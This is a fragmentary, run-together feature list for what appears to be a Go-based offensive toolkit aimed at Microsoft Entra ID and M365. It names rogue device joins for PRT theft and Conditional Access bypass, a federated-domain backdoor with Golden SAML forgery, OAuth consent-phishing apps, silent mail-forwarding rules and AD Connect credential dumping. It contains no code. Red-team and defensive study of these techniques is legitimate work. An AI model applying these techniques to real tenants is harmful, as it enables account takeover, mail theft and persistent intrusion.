DRS rogue-device join → device cert/key (PRT prerequisite, device-based CA bypass, persistence)federation): managed→federated backdoor (ConvertTo-AADIntBackdoor) + Golden SAML forgery & SAML-bearer redemption (XML-DSig validated against an independent implementation)entra phish-app): multi-tenant app + consent URLs + local reply-URL token catcher (Invoke-InjectOAuthApp)m365 rules): silent inbox-forwarding rules via Graph messageRulesscan dump/scan query): full directory + attack graph into pure-Go SQLite (modernc.org/sqlite), 13 canned analytic viewsprt extract), AD Connect sync-credential dump (adconnect sync-creds), DPAPI (CryptUnprotectData) — build-tagged, no-op guidance off Windowsprt request: obtain a real PRT from a registered device (chains device registration → the KDF v2 cookie)